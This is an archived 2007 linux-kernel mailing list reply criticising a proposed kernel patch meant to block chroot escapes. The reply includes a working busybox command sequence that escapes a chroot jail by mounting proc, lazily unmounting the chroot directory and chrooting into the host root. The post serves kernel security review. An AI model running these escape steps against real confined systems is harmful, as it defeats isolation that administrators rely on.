linux-kernel - Re: Chroot bug

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-Id: <73A0FA2C-7202-4E5C-9521-C2BC7026DE3B@mac.com>
Date:	Wed, 26 Sep 2007 10:02:36 -0400
From:	Kyle Moffett <mrmacman_g4@....com>
To:	Miloslav Semler <majkls@...pere.com>
Cc:	David Newall <david@...idnewall.com>,
	Adrian Bunk <bunk@...nel.org>,
	Alan Cox <alan@...rguk.ukuu.org.uk>,
	"Serge E. Hallyn" <serge@...lyn.com>,
	Bill Davidsen <davidsen@....com>,
	Philipp Marek <philipp@...ek.priv.at>, 7eggert@....de,
	bunk@...tum.de, linux-kernel@...r.kernel.org
Subject: Re: Chroot bug

On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:
> + long directory_is_out(struct vfsmount *wdmnt, struct dentry  
> *wdentry,
> + 		struct vfsmount *rootmnt, struct dentry *root)
> + {
> + 	struct nameidata oldentry, newentry;
> + 	long ret = 1;
> + 	
> +         read_lock(&current->fs->lock);
> + 	oldentry.dentry = dget(wdentry);
> + 	oldentry.mnt = mntget(wdmnt);
> +         read_unlock(&current->fs->lock);
> + 	newentry.dentry = oldentry.dentry;
> + 	newentry.mnt = oldentry.mnt;
> + 	
> + 	follow_dotdot(&newentry);
> + 	/* check it */
> + 	if(newentry.dentry == root &&
> + 		newentry.mnt == rootmnt){
> + 		ret = 0;
> + 		goto out;
> + 	}
> + 	
> + 	while(oldentry.mnt != newentry.mnt ||
> + 		oldentry.dentry != newentry.dentry){
> + 		
> + 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
> + 		follow_dotdot(&newentry);
> + 		
> + 		/* check it */
> + 		if(newentry.dentry == root &&
> + 			newentry.mnt == rootmnt){
> + 			ret = 0;
> + 			goto out;
> + 		}
> + 	}
> + out:
> + 	dput(newentry.dentry);
> + 	mntput(newentry.mnt);
> + 	return ret;
> + }

This is basically both painfully racy and easily broken with umount  
and/or access to proc.  See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in  
our ".." path
exec /busybox chroot /proc/1/root /bin/sh


See how easy that is?  Unless you stick the above parent-directory  
check (which is still racy against directories being moved around)  
for *EVERY* directory component of *EVERY* open/chdir-ish syscall,  
you are still going to be easily worked around through many different  
methods.

Cheers,
Kyle Moffett

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/